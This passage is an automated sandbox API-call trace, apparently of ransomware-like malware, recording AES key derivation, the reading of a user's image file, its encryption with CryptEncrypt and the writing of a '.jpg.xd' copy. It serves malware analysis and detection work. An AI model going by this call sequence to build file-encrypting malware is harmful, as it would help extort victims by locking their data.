lpProcName="CryptDeriveKey") returned 0x74c95b70 [0061.767] CryptDeriveKey (in: hProv=0x17a9f88, Algid=0x6610, hBaseData=0x164c8f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0061.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.767] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.767] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0061.767] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164df90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0061.767] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0061.767] CryptDestroyHash (hHash=0x164c8f0) returned 1 [0061.767] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.768] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\xirni-oylmcs4ft.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0061.768] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.768] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0061.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.768] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.768] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u")) returned 0x10 [0061.769] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\xirni-oylmcs4ft.jpg.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0061.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.770] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.781] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0061.781] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x10000, lpOverlapped=0x0) returned 1 [0061.783] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x5a3a, lpOverlapped=0x0) returned 1 [0061.784] ReadFile (in: hFile=0x3bc, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0061.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.788] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.788] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.788] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0061.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.790] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.790] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0061.790] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.791] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0061.791] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.791] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.791] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.791] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0061.791] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.791] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0061.792] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0061.792] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0061.792] CryptGetKeyParam (in: hKey=0x164c7b0, dwParam=0x7, pbData=0x16294b0, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x16294b0*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0061.792] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.792] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0061.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.792] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.792] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.792] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.792] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.792] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.792] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.793] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.793] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.793] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.793] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.793] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.793] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.793] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.793] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.794] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.794] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.795] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.795] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x15a3a, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x15a40) returned 1 [0061.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.795] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.796] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.796] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.796] CharLowerBuffW (in: lpsz="byte[88641]", cchLength=0xb | out: lpsz="byte[88641]") returned 0xb [0061.796] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.797] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.798] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.798] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.798] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0061.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621990, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0061.798] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0061.798] CryptEncrypt (in: hKey=0x164c7b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e6560*, pdwDataLen=0x130e618*=0x15a3a, dwBufLen=0x15a40 | out: pbData=0x17e6560*, pdwDataLen=0x130e618*=0x15a40) returned 1 [0061.798] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.798] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.799] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.800] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.800] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.800] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.800] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.800] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.800] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.800] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.800] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.800] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.800] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.801] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.801] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.811] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.811] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.811] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.813] WriteFile (in: hFile=0x2ac, lpBuffer=0x1892a58*, nNumberOfBytesToWrite=0x15a40, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x1892a58*, lpNumberOfBytesWritten=0x130f01c*=0x15a40, lpOverlapped=0x0) returned 1 [0061.816] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.817] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.817] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0061.817] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.817] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.817] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0061.817] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16214b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0061.818] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.818] CryptDestroyKey (hKey=0x164c7b0) returned 1 [0061.818] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.818] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.818] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.818] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.819] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.819] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.819] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.819] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.819] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.819] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.819] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.819] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.819] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.819] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.820] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.820] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.820] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.820] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.820] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 